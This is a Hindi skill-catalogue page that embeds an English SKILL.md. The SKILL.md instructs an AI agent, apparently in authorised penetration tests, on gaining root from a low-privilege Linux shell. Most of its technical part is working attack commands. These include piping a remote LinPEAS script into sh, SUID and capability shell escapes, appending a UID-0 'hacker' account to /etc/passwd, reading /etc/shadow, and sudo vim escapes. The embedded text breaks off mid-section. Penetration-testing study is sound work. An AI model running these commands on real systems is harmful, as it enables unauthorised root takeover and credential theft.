मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी10k · #11967

offensive-linux-privesc

यह क्या करती है

यह स्किल कम-privilege खाते से Linux सिस्टम पर root पाने के रास्ते खोजने की एक कार्यप्रणाली है। इसमें sudo नियम, SUID binaries, capabilities, cron jobs और फ़ाइल permissions शामिल हैं। यह लिखित अनुमति के साथ Linux होस्ट परखने वाले सुरक्षा पेशेवरों के लिए है।

कब इस्तेमाल करें

  • ✓जब आपके पास अधिकृत परीक्षण में Linux होस्ट पर कम-privilege shell हो और root पहुँच जाँचनी हो।
  • ✓जब आप गलत configurations के लिए sudo नियम, SUID binaries और capabilities की समीक्षा करना चाहते हों।
  • ✓जब आपको उच्च privilege पर चलने वाले cron jobs या लिखने योग्य scripts जाँचने हों।

Skill का लिंक

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“हमें इस Linux सर्वर के परीक्षण की अनुमति है। मेरे पास कम-privilege खाता है। जाँचिए कि क्या मैं root तक पहुँच सकता हूँ।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

स्किल पहले स्वचालित enumeration चलाती है, फिर sudo, SUID binaries और capabilities जैसे सबसे संभावित क्षेत्र जाँचती है। फिर वह cron jobs, फ़ाइल permissions और दूसरे रास्ते देखती है, और मिली श्रृंखला की पुष्टि करती है।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

Quick Workflow

  1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
  2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
  3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
  4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
  5. Check for NFS shares with no_root_squash and Docker group membership.
  6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
  7. Validate the escalation path, document the chain, and clean up artifacts.

Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.


SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

Enumeration

# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Exploitation via GTFOBins

# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh

Custom SUID Binary Analysis

# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.


Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

# Find binaries with capabilities set
getcap -r / 2>/dev/null

Exploitation

# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.


Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.

# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null

NOPASSWD Exploitation

# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo
अक्सर पूछे जाने वाले सवाल

SUID binary क्या है?

यह ऐसा प्रोग्राम है जो अपने मालिक की permissions के साथ चलता है, और गलत configuration होने पर उसका दुरुपयोग हो सकता है।

यह कौन से टूल बताती है?

स्वचालित जाँच के लिए यह LinPEAS और linux-exploit-suggester का ज़िक्र करती है।

क्या यह सिर्फ़ अधिकृत परीक्षणों के लिए है?

हाँ। यह उन सिस्टम के लिए लिखी गई है जिन्हें परखने की अनुमति आपके पास है।

जानकारी

लेखक का मूल विवरण

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195,

repo: SnailSploit/Claude-Red

लोकप्रियता

GitHub स्टार
10k
रैंकिंग में स्थान
#11967
लाइसेंस
MIT
अपडेट की गई
12/10/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

offensive-active-directory

10k

आपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।

कोडिंगसिक्योरिटी

offensive-netexec

10k

आपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।

कोडिंगसिक्योरिटी

offensive-api-abuse

10k

आपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।

कोडिंगसिक्योरिटी

offensive-api-security

10k

आपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।

कोडिंगसिक्योरिटी

मिलती-जुलती skills